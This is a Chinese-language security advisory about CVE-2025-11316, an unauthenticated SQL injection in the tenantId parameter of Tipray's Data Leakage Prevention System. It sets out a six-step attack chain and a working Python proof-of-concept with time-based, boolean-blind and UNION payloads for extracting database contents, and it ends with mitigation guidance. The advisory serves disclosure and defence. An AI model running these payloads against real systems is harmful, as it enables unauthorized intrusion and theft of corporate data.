IPBUF安全漏洞报告
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CVE-2025-11316 CVSS 7.3 高危

CVE-2025-11316:天锐数据泄露防护系统SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11316
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tipray 厦门天锐科技股份有限公司 天锐数据泄露防护系统 (Data Leakage Prevention System)

相关标签

SQL注入天锐科技数据泄露防护DLPCVE-2025-11316高危漏洞远程攻击无需认证findCategoryPagetenantId

漏洞概述

CVE-2025-11316是天锐科技股份有限公司(Tipray)数据泄露防护系统(Data Leakage Prevention System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的findCategoryPage.do文件中,具体影响findCategoryPage函数。当攻击者对tenantId参数进行恶意构造时,可以触发SQL注入漏洞。由于该系统属于数据泄露防护(DLP)类产品,通常部署在企业内网关键位置,一旦被攻破,攻击者不仅能获取系统中的敏感数据防护策略,还可能进一步渗透内网,获取被保护的企业敏感数据。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限认证(PR:N),也无需用户交互(UI:N)。虽然机密性、完整性和可用性影响均为低级别,但由于该系统处理的核心业务就是数据防护,一旦被攻破将严重削弱企业的数据安全防护能力,间接影响更为严重。

值得注意的是,该漏洞已被公开披露,且存在公开的PoC利用代码,攻击者可以直接利用。供应商在被提前通知后未做出任何回应,也未发布补丁修复,这进一步增加了该漏洞被利用的风险。建议使用该系统的企业立即采取临时缓解措施,并考虑替换或加强防护。

技术细节

该SQL注入漏洞存在于天锐数据泄露防护系统1.0版本的findCategoryPage.do接口中,具体位于findCategoryPage函数。漏洞产生的根本原因是系统在处理tenantId参数时,未对该参数进行充分的输入验证和参数化处理,而是直接将其拼接到SQL查询语句中执行。

从技术层面分析,攻击者可以通过构造特殊的tenantId参数值,利用SQL注入技术绕过系统的身份验证和访问控制。典型的攻击方式包括:

1. **基于UNION的注入**:攻击者可以通过UNION SELECT语句将恶意SQL语句附加到原始查询中,从而读取数据库中的任意数据,如管理员凭据、系统配置等。

2. **基于布尔的盲注**:通过构造条件判断语句(如AND 1=1、AND 1=2),根据页面返回内容的差异逐步推断数据库内容。

3. **基于时间的盲注**:利用SLEEP()等函数,通过响应时间差异获取数据库信息。

4. **基于报错的注入**:通过构造能够触发数据库错误信息的payload,直接从错误信息中获取数据。

由于该漏洞无需认证即可远程利用,攻击者只需向findCategoryPage.do接口发送带有恶意tenantId参数的HTTP请求即可触发漏洞。考虑到该系统通常部署在企业内网且涉及敏感数据防护,攻击成功后可能导致防护策略泄露、敏感数据被窃取,甚至被作为内网渗透的跳板。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、FOFA等网络空间搜索引擎,搜索暴露在公网或内网的天锐数据泄露防护系统,识别目标系统的版本和接口信息。
STEP 2
步骤2:漏洞探测
攻击者向目标系统的findCategoryPage.do接口发送带有恶意tenantId参数的HTTP请求,通过时间延迟、布尔条件或UNION注入等方式确认SQL注入漏洞的存在。
STEP 3
步骤3:数据提取
利用确认的SQL注入漏洞,通过UNION查询、信息模式查询等方式提取数据库中的敏感信息,包括管理员凭据、系统配置、防护策略等。
STEP 4
步骤4:权限提升与持久化
利用获取的管理员凭据登录系统后台,修改防护策略以绕过数据防护机制,或植入后门获取系统持久访问权限。
STEP 5
步骤5:内网渗透
以被攻陷的DLP系统为跳板,利用其在内网中的位置和信任关系,进一步渗透企业内网,访问其他关键系统和敏感数据。
STEP 6
步骤6:数据窃取
绕过或关闭数据泄露防护系统的监控后,大量窃取企业核心敏感数据,如商业机密、客户信息、财务数据等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11316 - Tipray Data Leakage Prevention System SQL Injection PoC # Vulnerability: SQL Injection in findCategoryPage.do via tenantId parameter # Author: Security Researcher # Reference: https://github.com/FightingLzn9/vul import requests import sys import time TARGET_URL = "http://target-host:8080" VULNERABLE_ENDPOINT = "/findCategoryPage.do" def check_vulnerability(base_url): """Check if the target is vulnerable to SQL injection""" url = base_url + VULNERABLE_ENDPOINT # Normal request normal_payload = { "tenantId": "1" } # Malicious payload - basic SQL injection test malicious_payload = { "tenantId": "1' OR '1'='1" } # Time-based blind injection payload time_based_payload = { "tenantId": "1' AND SLEEP(3)-- " } try: # Test normal request start_time = time.time() normal_resp = requests.post(url, data=normal_payload, timeout=10) normal_time = time.time() - start_time # Test time-based injection start_time = time.time() malicious_resp = requests.post(url, data=time_based_payload, timeout=10) malicious_time = time.time() - start_time # If response time is significantly longer, likely vulnerable if malicious_time - normal_time >= 2: print(f"[+] Target appears vulnerable! Response delay: {malicious_time - normal_time:.2f}s") return True else: print(f"[-] Target may not be vulnerable. Response delay: {malicious_time - normal_time:.2f}s") return False except Exception as e: print(f"[!] Error: {e}") return False def exploit_union_injection(base_url): """Exploit using UNION-based SQL injection to extract data""" url = base_url + VULNERABLE_ENDPOINT # UNION-based injection to extract database version payloads = [ # Extract database version {"tenantId": "1' UNION SELECT 1,version(),3-- "}, # Extract current database {"tenantId": "1' UNION SELECT 1,database(),3-- "}, # Extract current user {"tenantId": "1' UNION SELECT 1,user(),3-- "}, # Extract table names from information_schema {"tenantId": "1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- "}, ] for payload in payloads: try: resp = requests.post(url, data=payload, timeout=10) print(f"[+] Payload: {payload['tenantId']}") print(f"[+] Response: {resp.text[:500]}") print("-" * 60) except Exception as e: print(f"[!] Error: {e}") def exploit_boolean_blind(base_url): """Exploit using boolean-based blind SQL injection""" url = base_url + VULNERABLE_ENDPOINT # Test boolean conditions true_payload = {"tenantId": "1' AND 1=1-- "} false_payload = {"tenantId": "1' AND 1=2-- "} try: true_resp = requests.post(url, data=true_payload, timeout=10) false_resp = requests.post(url, data=false_payload, timeout=10) if true_resp.text != false_resp.text: print("[+] Boolean-based blind injection confirmed!") print(f"[+] True condition response length: {len(true_resp.text)}") print(f"[+] False condition response length: {len(false_resp.text)}") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing CVE-2025-11316 against: {target}") print("=" * 60) if check_vulnerability(target): print("\n[*] Attempting UNION-based exploitation...") exploit_union_injection(target) print("\n[*] Attempting boolean-based blind exploitation...") exploit_boolean_blind(target) else: print("[-] Target does not appear vulnerable")

影响范围

天锐数据泄露防护系统 1.0

防御指南

临时缓解措施
鉴于供应商未发布补丁且未回应安全披露,建议采取以下临时缓解措施:1)立即限制天锐数据泄露防护系统的网络访问,仅允许可信IP地址访问管理接口;2)在网络边界部署WAF规则,过滤针对findCategoryPage.do接口的SQL注入攻击;3)监控该系统的访问日志,检测异常的数据库查询行为;4)将系统部署在内网隔离区域,避免直接暴露在公网;5)考虑使用其他数据泄露防护产品进行临时替代;6)定期检查数据库中的敏感数据是否被未授权访问。

参考链接

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